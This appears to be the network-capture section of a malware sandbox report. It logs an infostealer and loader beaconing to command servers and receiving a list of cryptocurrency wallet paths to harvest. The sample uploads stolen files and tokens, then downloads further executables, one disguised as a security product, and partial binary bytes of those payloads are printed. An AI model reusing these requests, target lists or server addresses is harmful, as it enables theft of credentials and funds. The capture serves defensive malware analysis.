0d 0a Data Ascii: ------GDAECAECFCAAEBFHIEHDContent-Disposition: form-data; name="token"26f2d56a4a320333903961f6236dff89683e093a1be1b9bdc543e4d8e5883f8f8377a5e4------GDAECAECFCAAEBFHIEHDContent-Disposition: form-data; name="message"wallets------GDAECAECFCAAEBFHIEHD--
Nov 19, 2024 20:05:53.831504107 CET	1236	IN	HTTP/1.1 200 OK Date: Tue, 19 Nov 2024 19:05:53 GMT Server: Apache/2.4.41 (Ubuntu) Vary: Accept-Encoding Content-Length: 2408 Keep-Alive: timeout=5, max=91 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 51 6d 6c 30 59 32 39 70 62 69 42 44 62 33 4a 6c 66 44 46 38 58 45 4a 70 64 47 4e 76 61 57 35 63 64 32 46 73 62 47 56 30 63 31 78 38 64 32 46 73 62 47 56 30 4c 6d 52 68 64 48 77 78 66 45 4a 70 64 47 4e 76 61 57 34 67 51 32 39 79 5a 53 42 50 62 47 52 38 4d 58 78 63 51 6d 6c 30 59 32 39 70 62 6c 78 38 4b 6e 64 68 62 47 78 6c 64 43 6f 75 5a 47 46 30 66 44 42 38 52 47 39 6e 5a 57 4e 76 61 57 35 38 4d 58 78 63 52 47 39 6e 5a 57 4e 76 61 57 35 63 66 43 70 33 59 57 78 73 5a 58 51 71 4c 6d 52 68 64 48 77 77 66 46 4a 68 64 6d 56 75 49 45 4e 76 63 6d 56 38 4d 58 78 63 55 6d 46 32 5a 57 35 63 66 43 70 33 59 57 78 73 5a 58 51 71 4c 6d 52 68 64 48 77 77 66 45 52 68 5a 57 52 68 62 48 56 7a 49 45 31 68 61 57 35 75 5a 58 52 38 4d 58 78 63 52 47 46 6c 5a 47 46 73 64 58 4d 67 54 57 46 70 62 6d 35 6c 64 46 78 33 59 57 78 73 5a 58 52 7a 58 48 78 7a 61 47 55 71 4c 6e 4e 78 62 47 6c 30 5a 58 77 77 66 45 4a 73 62 32 4e 72 63 33 52 79 5a 57 46 74 49 45 64 79 5a 57 56 75 66 44 46 38 58 45 4a 73 62 32 4e 72 63 33 52 79 5a 57 [TRUNCATED] Data Ascii: Qml0Y29pbiBDb3JlfDF8XEJpdGNvaW5cd2FsbGV0c1x8d2FsbGV0LmRhdHwxfEJpdGNvaW4gQ29yZSBPbGR8MXxcQml0Y29pblx8KndhbGxldCouZGF0fDB8RG9nZWNvaW58MXxcRG9nZWNvaW5cfCp3YWxsZXQqLmRhdHwwfFJhdmVuIENvcmV8MXxcUmF2ZW5cfCp3YWxsZXQqLmRhdHwwfERhZWRhbHVzIE1haW5uZXR8MXxcRGFlZGFsdXMgTWFpbm5ldFx3YWxsZXRzXHxzaGUqLnNxbGl0ZXwwfEJsb2Nrc3RyZWFtIEdyZWVufDF8XEJsb2Nrc3RyZWFtXEdyZWVuXHdhbGxldHNcfCouKnwxfFdhc2FiaSBXYWxsZXR8MXxcV2FsbGV0V2FzYWJpXENsaWVudFxXYWxsZXRzXHwqLmpzb258MHxFdGhlcmV1bXwxfFxFdGhlcmV1bVx8a2V5c3RvcmV8MHxFbGVjdHJ1bXwxfFxFbGVjdHJ1bVx3YWxsZXRzXHwqLip8MHxFbGVjdHJ1bUxUQ3wxfFxFbGVjdHJ1bS1MVENcd2FsbGV0c1x8Ki4qfDB8RXhvZHVzfDF8XEV4b2R1c1x8ZXhvZHVzLmNvbmYuanNvbnwwfEV4b2R1c3wxfFxFeG9kdXNcfHdpbmRvdy1zdGF0ZS5qc29ufDB8RXhvZHVzXGV4b2R1cy53YWxsZXR8MXxcRXhvZHVzXGV4b2R1cy53YWxsZXRcfHBhc3NwaHJhc2UuanNvbnwwfEV4b2R1c1xleG9kdXMud2FsbGV0fDF8XEV4b2R1c1xleG9kdXMud2FsbGV0XHxzZWVkLnNlY298MHxFeG9kdXNcZXhvZHVzLndhbGxldHwxfFxFeG9kdXNcZXhvZHVzLndhbGxldFx8aW5mby5zZWNvfDB8RWxlY3Ryb24gQ2FzaHwxfFxFbGVjdHJvbkNhc2hcd2FsbGV0c1x8Ki4qfDB8TXVsdGlEb2dlfDF8
Nov 19, 2024 20:05:53.834157944 CET	467	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----EGIDBFBFHJDGCAKEGHJE Host: 185.215.113.206 Content-Length: 265 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 45 47 49 44 42 46 42 46 48 4a 44 47 43 41 4b 45 47 48 4a 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 32 36 66 32 64 35 36 61 34 61 33 32 30 33 33 33 39 30 33 39 36 31 66 36 32 33 36 64 66 66 38 39 36 38 33 65 30 39 33 61 31 62 65 31 62 39 62 64 63 35 34 33 65 34 64 38 65 35 38 38 33 66 38 66 38 33 37 37 61 35 65 34 0d 0a 2d 2d 2d 2d 2d 2d 45 47 49 44 42 46 42 46 48 4a 44 47 43 41 4b 45 47 48 4a 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 66 69 6c 65 73 0d 0a 2d 2d 2d 2d 2d 2d 45 47 49 44 42 46 42 46 48 4a 44 47 43 41 4b 45 47 48 4a 45 2d 2d 0d 0a Data Ascii: ------EGIDBFBFHJDGCAKEGHJEContent-Disposition: form-data; name="token"26f2d56a4a320333903961f6236dff89683e093a1be1b9bdc543e4d8e5883f8f8377a5e4------EGIDBFBFHJDGCAKEGHJEContent-Disposition: form-data; name="message"files------EGIDBFBFHJDGCAKEGHJE--
Nov 19, 2024 20:05:54.052723885 CET	202	IN	HTTP/1.1 200 OK Date: Tue, 19 Nov 2024 19:05:53 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=90 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Nov 19, 2024 20:05:54.067751884 CET	565	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----JJDGCGHCGHCBFHJJKKJE Host: 185.215.113.206 Content-Length: 363 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 4a 4a 44 47 43 47 48 43 47 48 43 42 46 48 4a 4a 4b 4b 4a 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 32 36 66 32 64 35 36 61 34 61 33 32 30 33 33 33 39 30 33 39 36 31 66 36 32 33 36 64 66 66 38 39 36 38 33 65 30 39 33 61 31 62 65 31 62 39 62 64 63 35 34 33 65 34 64 38 65 35 38 38 33 66 38 66 38 33 37 37 61 35 65 34 0d 0a 2d 2d 2d 2d 2d 2d 4a 4a 44 47 43 47 48 43 47 48 43 42 46 48 4a 4a 4b 4b 4a 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 63 33 52 6c 59 57 31 66 64 47 39 72 5a 57 35 7a 4c 6e 52 34 64 41 3d 3d 0d 0a 2d 2d 2d 2d 2d 2d 4a 4a 44 47 43 47 48 43 47 48 43 42 46 48 4a 4a 4b 4b 4a 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 0d 0a 0d 0a 0d 0a 2d 2d 2d 2d 2d [TRUNCATED] Data Ascii: ------JJDGCGHCGHCBFHJJKKJEContent-Disposition: form-data; name="token"26f2d56a4a320333903961f6236dff89683e093a1be1b9bdc543e4d8e5883f8f8377a5e4------JJDGCGHCGHCBFHJJKKJEContent-Disposition: form-data; name="file_name"c3RlYW1fdG9rZW5zLnR4dA==------JJDGCGHCGHCBFHJJKKJEContent-Disposition: form-data; name="file"------JJDGCGHCGHCBFHJJKKJE--
Nov 19, 2024 20:05:54.782630920 CET	202	IN	HTTP/1.1 200 OK Date: Tue, 19 Nov 2024 19:05:54 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=89 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Nov 19, 2024 20:05:54.810679913 CET	474	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----DBFHCGCGDAAKFIECFHDB Host: 185.215.113.206 Content-Length: 272 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 44 42 46 48 43 47 43 47 44 41 41 4b 46 49 45 43 46 48 44 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 32 36 66 32 64 35 36 61 34 61 33 32 30 33 33 33 39 30 33 39 36 31 66 36 32 33 36 64 66 66 38 39 36 38 33 65 30 39 33 61 31 62 65 31 62 39 62 64 63 35 34 33 65 34 64 38 65 35 38 38 33 66 38 66 38 33 37 37 61 35 65 34 0d 0a 2d 2d 2d 2d 2d 2d 44 42 46 48 43 47 43 47 44 41 41 4b 46 49 45 43 46 48 44 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 79 62 6e 63 62 68 79 6c 65 70 6d 65 0d 0a 2d 2d 2d 2d 2d 2d 44 42 46 48 43 47 43 47 44 41 41 4b 46 49 45 43 46 48 44 42 2d 2d 0d 0a Data Ascii: ------DBFHCGCGDAAKFIECFHDBContent-Disposition: form-data; name="token"26f2d56a4a320333903961f6236dff89683e093a1be1b9bdc543e4d8e5883f8f8377a5e4------DBFHCGCGDAAKFIECFHDBContent-Disposition: form-data; name="message"ybncbhylepme------DBFHCGCGDAAKFIECFHDB--
Nov 19, 2024 20:05:55.036380053 CET	271	IN	HTTP/1.1 200 OK Date: Tue, 19 Nov 2024 19:05:54 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 68 Keep-Alive: timeout=5, max=88 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 61 48 52 30 63 44 6f 76 4c 7a 45 34 4e 53 34 79 4d 54 55 75 4d 54 45 7a 4c 6a 45 32 4c 32 31 70 62 6d 55 76 63 6d 46 75 5a 47 39 74 4c 6d 56 34 5a 58 77 77 66 44 42 38 55 33 52 68 63 6e 52 38 4e 58 77 3d Data Ascii: aHR0cDovLzE4NS4yMTUuMTEzLjE2L21pbmUvcmFuZG9tLmV4ZXwwfDB8U3RhcnR8NXw=
Nov 19, 2024 20:05:57.735888004 CET	474	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----CFBFCGIDAKECGCBGDBAF Host: 185.215.113.206 Content-Length: 272 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 43 46 42 46 43 47 49 44 41 4b 45 43 47 43 42 47 44 42 41 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 32 36 66 32 64 35 36 61 34 61 33 32 30 33 33 33 39 30 33 39 36 31 66 36 32 33 36 64 66 66 38 39 36 38 33 65 30 39 33 61 31 62 65 31 62 39 62 64 63 35 34 33 65 34 64 38 65 35 38 38 33 66 38 66 38 33 37 37 61 35 65 34 0d 0a 2d 2d 2d 2d 2d 2d 43 46 42 46 43 47 49 44 41 4b 45 43 47 43 42 47 44 42 41 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 77 6b 6b 6a 71 61 69 61 78 6b 68 62 0d 0a 2d 2d 2d 2d 2d 2d 43 46 42 46 43 47 49 44 41 4b 45 43 47 43 42 47 44 42 41 46 2d 2d 0d 0a Data Ascii: ------CFBFCGIDAKECGCBGDBAFContent-Disposition: form-data; name="token"26f2d56a4a320333903961f6236dff89683e093a1be1b9bdc543e4d8e5883f8f8377a5e4------CFBFCGIDAKECGCBGDBAFContent-Disposition: form-data; name="message"wkkjqaiaxkhb------CFBFCGIDAKECGCBGDBAF--
Nov 19, 2024 20:05:58.453372955 CET	202	IN	HTTP/1.1 200 OK Date: Tue, 19 Nov 2024 19:05:57 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=87 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
3	192.168.2.7	64193	185.215.113.16	80	2756	C:\Users\user\Desktop\file.exe

Timestamp	Bytes transferred	Direction	Data
Nov 19, 2024 20:05:55.052527905 CET	80	OUT	GET /mine/random.exe HTTP/1.1 Host: 185.215.113.16 Cache-Control: no-cache
Nov 19, 2024 20:05:55.787950993 CET	1236	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 19 Nov 2024 19:05:55 GMT Content-Type: application/octet-stream Content-Length: 1925632 Last-Modified: Tue, 19 Nov 2024 18:55:23 GMT Connection: keep-alive ETag: "673cdf1b-1d6200" Accept-Ranges: bytes Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 a7 bb 2d 49 e3 da 43 1a e3 da 43 1a e3 da 43 1a b8 b2 40 1b ed da 43 1a b8 b2 46 1b 42 da 43 1a 36 b7 47 1b f1 da 43 1a 36 b7 40 1b f5 da 43 1a 36 b7 46 1b 96 da 43 1a b8 b2 47 1b f7 da 43 1a b8 b2 42 1b f0 da 43 1a e3 da 42 1a 35 da 43 1a 78 b4 4a 1b e2 da 43 1a 78 b4 bc 1a e2 da 43 1a 78 b4 41 1b e2 da 43 1a 52 69 63 68 e3 da 43 1a 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 07 00 9c 56 f0 66 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0e 18 00 ea 04 00 00 9a 01 00 00 00 00 00 00 40 4c 00 00 10 00 00 00 00 05 00 00 00 40 00 00 10 00 00 00 02 00 00 06 00 00 00 00 00 00 00 06 00 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$-ICCC@CFBC6GC6@C6FCGCBCB5CxJCxCxACRichCPELVf@L@pLP@WkHL@L @.rsrcH@.idata @ 0+@ctjnidajP1D@mpxgbiue0L:@.taggant0@L"@@
Nov 19, 2024 20:05:55.787981987 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 19, 2024 20:05:55.787993908 CET	448	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 19, 2024 20:05:55.788048983 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 19, 2024 20:05:55.788060904 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: "XFX{",vu"'2GWn~
Nov 19, 2024 20:05:55.788074017 CET	1236	IN	Data Raw: c3 d9 f7 ec 7b 8a e8 1a 2b 6d c4 02 70 dd f0 4b 54 fa 0b 5f d4 6e 80 38 c5 06 7a a2 d2 19 29 37 14 9a c4 06 c7 02 ad 79 2c 8a 9c 3f 21 f7 39 4f 28 08 5c 76 65 66 8d 2d 24 8b 11 16 94 9b e4 d6 e0 6e d0 a1 d3 9b 8c bb 61 fa b4 a7 71 de 6d 2b 45 86 Data Ascii: {+mpKT_n8z)7y,?!9O(\vef-$naqm+E\"BQg0d-@DK`z}:[mq[n<K?hZ*nSLFq/H,0[\|z?cq^2pjAb?\Fef--DUr86MK>/j/eC4C
Nov 19, 2024 20:05:55.788089991 CET	1236	IN	Data Raw: 76 6a c6 53 73 a7 04 d0 6e 5e a4 ae 5a 55 13 91 3b 88 c9 17 c1 86 f4 22 e3 7b 81 aa c4 e3 fa 8d 7a 5a e1 a5 41 10 a4 74 82 fd eb e8 f1 bb 30 d6 3c cc 0b 09 11 f8 b0 16 91 47 42 f8 f2 54 3a 82 e6 84 0c 3e 2c de 2f d9 d1 25 e4 0c ce db ca 82 48 8a Data Ascii: vjSsn^ZU;"{zZAt0<GBT:>,/%H=#AK8Ju>?j#9Se)gB$dnQ?gnkC\|Sq@">Wn)Np$Bq\|G>1)JMTu3kre<HQG:
Nov 19, 2024 20:05:55.788129091 CET	1236	IN	Data Raw: 91 86 d9 64 8e 7d 16 ef a7 7a 9d eb 30 d0 0b 58 e2 8b 0a bb ac 13 85 3f 93 43 0c 5b ce 2b c5 53 21 1b 5c 1e b0 7c 77 b1 7b 35 36 19 52 33 62 2e 2b 5d ca 82 17 87 0b 62 72 44 a5 50 d0 11 88 2e ab 60 ae c2 63 6f df d5 5c 3a 89 4e 2b 46 fc 5e 23 86 Data Ascii: d}z0X?C[+S!\\|w{56R3b.+]brDP.`co\:N+F^#!KBjH"0pn` BmI{C.2Eh`0CRkW"Vdv\|vZv{\)~V=(rF3}xpBP7!-U"tKF+
Nov 19, 2024 20:05:55.788141966 CET	1236	IN	Data Raw: 37 64 ec 58 a9 a2 60 3d 1e ce 6a 12 35 1d 7e c2 8e 89 61 ca 03 7f 48 53 72 1c 5b c2 90 96 1a c7 c2 b3 00 cc 04 3f bb a9 37 18 1c 4a 79 76 c1 9e 83 46 0b 7b 8f 08 e0 10 ac 07 85 78 35 dd 7d ae 6a 1e 29 17 51 44 c0 4e d2 f5 a8 52 b2 06 f1 ce c1 59 Data Ascii: 7dX`=j5~aHSr[?7JyvF{x5}j)QDNRY<fD29+(/?DV5TWT4^9Y5h33"uE;To$R5\K`"L6};TDfXSCzk`_)Q8gX
Nov 19, 2024 20:05:55.788155079 CET	1236	IN	Data Raw: e2 b1 c2 88 21 a7 6a cb 96 45 37 f3 c7 60 65 2f f1 7b 8a 99 78 5f 9b 6a ac 4c 6d 25 9b 60 6b cd fd 0c 66 5b 79 5b 7c 17 27 8d 39 4c d7 cf 09 04 61 a6 48 a2 13 46 23 ff 7e ef 45 9d 58 ff 76 00 50 bb 84 94 9f d6 03 83 5a e1 87 23 14 1a 4b fa 57 25 Data Ascii: !jE7`e/{x_jLm%`kf[y[\|'9LaHF#~EXvPZ#KW%+nb%{@!_!$K)af~hQUrpIz`dPE:udUnTG"ce6ow 0KGS#odH8is.je9nzj
Nov 19, 2024 20:05:55.793037891 CET	1236	IN	Data Raw: 43 78 f0 16 93 77 b8 08 a4 86 77 f2 62 d5 4b 20 c4 09 9c 5a 2c 21 d3 d0 3e c9 09 6c 8e 8f ba d9 3b b5 bd 0f 54 90 44 c7 31 1a 20 c7 71 3b 2c e6 ee a9 37 7b 2c 2c 5b dc 29 14 80 33 00 8a be c8 b1 b2 51 af 01 b3 21 02 e0 d2 64 4c 30 ab 96 4a 73 85 Data Ascii: CxwwbK Z,!>l;TD1 q;,7{,,[)3Q!dL0Js;Io\|ciaiX?W7>v([cGrYZ+vbnZ@&~`6_&kKz"]8l~+n^"B@RC:xp4Q):Rq0\|map`2

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
4	192.168.2.7	64278	185.215.113.43	80	8824	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 19, 2024 20:07:04.727976084 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Nov 19, 2024 20:07:05.425755978 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 19 Nov 2024 19:07:05 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
5	192.168.2.7	64279	185.215.113.43	80	8824	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 19, 2024 20:07:06.952230930 CET	316	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 162 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 44 42 36 32 37 37 30 42 37 35 43 38 32 44 31 32 46 43 34 37 44 42 32 33 43 41 39 36 34 46 46 35 36 34 43 33 38 42 33 37 33 37 30 33 35 42 31 45 36 30 43 38 44 30 45 39 33 39 46 42 36 30 38 42 45 43 35 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7DB62770B75C82D12FC47DB23CA964FF564C38B3737035B1E60C8D0E939FB608BEC5
Nov 19, 2024 20:07:07.662951946 CET	792	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 19 Nov 2024 19:07:07 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 32 35 39 0d 0a 20 3c 63 3e 31 30 30 37 34 36 38 30 30 31 2b 2b 2b 62 35 39 33 37 63 31 61 39 39 64 35 66 39 64 35 30 66 35 64 61 61 63 66 34 64 37 65 33 64 34 36 37 63 62 33 30 31 61 38 38 61 39 65 38 65 63 34 66 30 62 64 64 66 33 31 62 66 34 30 34 30 61 39 35 32 66 36 34 39 30 61 36 61 35 63 39 66 64 34 66 30 31 64 61 30 65 33 65 34 34 32 32 31 61 65 32 65 37 32 61 65 35 39 64 39 38 66 33 62 39 33 33 62 65 65 36 31 66 33 37 33 66 63 35 64 30 39 33 39 61 36 32 63 23 31 30 30 37 34 37 34 30 30 31 2b 2b 2b 62 35 39 33 37 63 31 61 39 39 64 35 66 39 64 66 30 62 35 64 61 66 63 38 35 30 36 32 33 38 34 37 36 30 61 63 30 32 62 34 64 65 64 38 61 62 65 65 65 31 66 62 64 39 37 65 39 63 34 35 34 33 62 33 31 64 65 31 35 34 34 31 23 31 30 30 37 34 37 39 30 30 31 2b 2b 2b 66 63 38 66 37 63 31 65 64 33 63 30 66 39 63 33 30 62 34 62 61 65 64 37 34 63 36 31 33 39 35 64 37 66 61 63 30 30 62 35 38 39 38 37 65 38 65 37 65 37 62 39 63 61 33 30 38 30 34 30 34 32 62 61 35 63 65 39 30 32 34 31 35 34 35 30 23 31 30 30 37 34 [TRUNCATED] Data Ascii: 259 <c>1007468001+++b5937c1a99d5f9d50f5daacf4d7e3d467cb301a88a9e8ec4f0bddf31bf4040a952f6490a6a5c9fd4f01da0e3e44221ae2e72ae59d98f3b933bee61f373fc5d0939a62c#1007474001+++b5937c1a99d5f9df0b5dafc85062384760ac02b4ded8abeee1fbd97e9c4543b31de15441#1007479001+++fc8f7c1ed3c0f9c30b4baed74c61395d7fac00b58987e8e7e7b9ca30804042ba5ce902415450#1007480001+++fc8f7c1ed3c0f9c30b4baed74c61395d7fac00b58987e8f8e6b1ca72dd534db057eb410a494d9d#1007481001+++fc8f7c1ed3c0f9c30b4baed74c61395d7fac00b58987e8fcf7b8c730804042ba5ce902415450#1007482001+++fc8f7c1ed3c0f9c30b4baed74c61395d7fac00b58987e8e4f4b2846d934f48b15eaa495c49#<d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
6	192.168.2.7	64280	95.163.152.232	80	8824	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 19, 2024 20:07:07.671574116 CET	85	OUT	GET /IObit.Malware.Fighter.Pro-12.0.0.1433.sfx.exe HTTP/1.1 Host: 95.163.152.232
Nov 19, 2024 20:07:08.322094917 CET	1236	IN	HTTP/1.1 200 OK Date: Tue, 19 Nov 2024 19:07:08 GMT Server: Apache/2.4.41 (Ubuntu) Last-Modified: Tue, 19 Nov 2024 17:49:21 GMT ETag: "4cdbb22-62747a738e096" Accept-Ranges: bytes Content-Length: 80591650 Content-Type: application/x-msdos-program Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 18 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 24 84 32 e2 60 e5 5c b1 60 e5 5c b1 60 e5 5c b1 d4 79 ad b1 68 e5 5c b1 d4 79 af b1 eb e5 5c b1 d4 79 ae b1 6d e5 5c b1 e0 9e a1 b1 62 e5 5c b1 e0 9e 58 b0 72 e5 5c b1 e0 9e 5f b0 6a e5 5c b1 e0 9e 59 b0 59 e5 5c b1 69 9d df b1 69 e5 5c b1 69 9d db b1 62 e5 5c b1 69 9d cf b1 67 e5 5c b1 60 e5 5d b1 43 e4 5c b1 ee 9e 59 b0 52 e5 5c b1 ee 9e 5c b0 61 e5 5c b1 ee 9e a3 b1 61 e5 5c b1 ee 9e 5e b0 61 e5 5c b1 52 69 63 68 60 e5 5c b1 00 00 00 00 00 00 00 00 50 45 00 00 64 86 08 00 23 97 40 66 00 00 00 00 00 00 00 00 f0 00 22 00 0b 02 0e 21 00 68 04 00 00 6a 02 00 00 00 00 00 e0 2e 03 00 00 10 00 00 00 00 00 40 01 00 00 00 00 10 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$$2`\`\`\yh\y\ym\b\Xr\_j\YY\ii\ib\ig\`]C\YR\\a\a\^a\Rich`\PEd#@f"!hj.@`4Pl0p6T7(@ .textngh `.rdata(*l@@.data\@.pdatal02@@.didat`@_RDATA\@@.rsrc@@.relocp@B
Nov 19, 2024 20:07:08.322113991 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 48 8d 0d 39 b9 05 00 e9 10 8e 00 00 cc cc cc cc 48 8d 0d c9 f9 05 00 e9 b8 a4 00 00 cc cc cc cc 48 83 ec 28 48 8d Data Ascii: H9HH(H5dHeH(HeH(jH(HjHelHe\H(HlHeH(8He
